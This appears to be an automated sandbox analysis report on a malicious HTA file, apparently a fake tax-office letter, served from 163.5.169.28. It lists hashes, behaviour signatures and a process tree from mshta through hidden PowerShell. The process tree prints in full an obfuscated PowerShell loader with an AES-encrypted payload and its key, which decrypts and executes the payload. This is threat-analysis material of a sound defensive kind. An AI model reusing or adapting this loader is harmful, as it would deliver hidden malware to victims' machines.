Overview
overview
10Static
static
10163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r2.pdf
windows7-x64
3163.5.169....r2.pdf
windows10-2004-x64
3163.5.169....r3.hta
windows7-x64
8163.5.169....r3.hta
windows10-2004-x64
8163.5.169....r3.pdf
windows7-x64
3163.5.169....r3.pdf
windows10-2004-x64
3163.5.169....r4.hta
windows7-x64
8163.5.169....r4.hta
windows10-2004-x64
8163.5.169....r4.pdf
windows7-x64
3163.5.169....r4.pdf
windows10-2004-x64
3163.5.169....r5.hta
windows7-x64
8163.5.169....r5.hta
windows10-2004-x64
8163.5.169....r5.pdf
windows7-x64
3163.5.169....r5.pdf
windows10-2004-x64
3163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169.28/cmd.exe
windows10-2004-x64
1163.5.169.28/cmt.exe
windows7-x64
3163.5.169.28/cmt.exe
windows10-2004-x64
3163.5.169.28/fd1.exe
windows7-x64
10163.5.169.28/fd1.exe
windows10-2004-x64
10163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r4.hta
windows7-x64
8Resubmissions
21-01-2025 13:39
250121-qx27kswrck 1021-01-2025 11:57
250121-n4kvrsskfv 1021-01-2025 11:43
250121-nvpglaslfq 1021-01-2025 11:26
250121-njtbea1qcp 10Analysis
-
max time kernel
105s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 11:26
Behavioral task
behavioral1
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win7-20240729-en
Behavioral task
behavioral8
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
163.5.169.28/ato_letter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral18
Sample
163.5.169.28/ato_letter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
163.5.169.28/atoletter.hta
Resource
win7-20241010-en
Behavioral task
behavioral20
Sample
163.5.169.28/atoletter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
163.5.169.28/atoletter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral22
Sample
163.5.169.28/atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
163.5.169.28/cmd.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral24
Sample
163.5.169.28/cmt.exe
Resource
win7-20240903-en
Behavioral task
behavioral25
Sample
163.5.169.28/cmt.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral26
Sample
163.5.169.28/fd1.exe
Resource
win7-20240903-en
Behavioral task
behavioral27
Sample
163.5.169.28/fd1.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral28
Sample
163.5.169.28/letter.hta
Resource
win7-20240903-en
Behavioral task
behavioral29
Sample
163.5.169.28/letter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral30
Sample
163.5.169.28/letter2.hta
Resource
win7-20241010-en
Behavioral task
behavioral31
Sample
163.5.169.28/letter2.hta
Resource
win10v2004-20241007-en
General
-
Target
163.5.169.28/letter2.hta
-
Size
1.1MB
-
MD5
13c9e9f7f8ce9480b18dbc989eb72944
-
SHA1
56a3d29e9aa6859d2f3c599d1a28c5d85d0ee713
-
SHA256
cfe2176b15cb6044459b57401e56b5156a38fc03451d07a9d9b189fcc9fa8f2c
-
SHA512
7389d08afc30a6174486bd2b71039cac41a685df47cb193d5a8d77c1c38464af96ea4ddb39d84f09b05d6941168cc91eb426702adb9647b9863d699215598867
-
SSDEEP
1536:ZS1OkP/2puCdfNXfYP9TjJlNXsY6JAfny2mr/l1vcmafSIm+lIWFYoze/1oFv0+2:ZS1OkP/+FXfQ9TjJQYsAfnyB
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 12 3052 powershell.exe 19 3052 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 396 powershell.exe 2344 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 396 powershell.exe 396 powershell.exe 2344 powershell.exe 3052 powershell.exe 2344 powershell.exe 3052 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 396 powershell.exe Token: SeDebugPrivilege 2344 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe Token: 35 3052 powershell.exe Token: 36 3052 powershell.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe Token: 35 3052 powershell.exe Token: 36 3052 powershell.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2268 wrote to memory of 396 2268 mshta.exe 83 PID 2268 wrote to memory of 396 2268 mshta.exe 83 PID 2268 wrote to memory of 396 2268 mshta.exe 83 PID 396 wrote to memory of 4908 396 powershell.exe 85 PID 396 wrote to memory of 4908 396 powershell.exe 85 PID 396 wrote to memory of 4908 396 powershell.exe 85 PID 4908 wrote to memory of 2344 4908 cmd.exe 87 PID 4908 wrote to memory of 2344 4908 cmd.exe 87 PID 4908 wrote to memory of 2344 4908 cmd.exe 87 PID 4908 wrote to memory of 3052 4908 cmd.exe 88 PID 4908 wrote to memory of 3052 4908 cmd.exe 88 PID 4908 wrote to memory of 3052 4908 cmd.exe 88
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell - }2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell -3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3052
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
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Filesize
15KB
MD57df7a50ab70da55f7d48c1145db4913c
SHA125690e269cf39c62c92635d1a356c6ae5b7915a0
SHA256eb485bc3d8168bb3e2a0581b438bf0bb09d224e124cc1045663cd06ae34566cc
SHA5122532b1c4fb54b2149abc84e38111fe0c80b7adf9dcabda34ad5f8435571ee1bfc3b70391b71f7e3e20fe14f7bcf7059ca5a164ee67a1c966aa537bc203f209ef
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82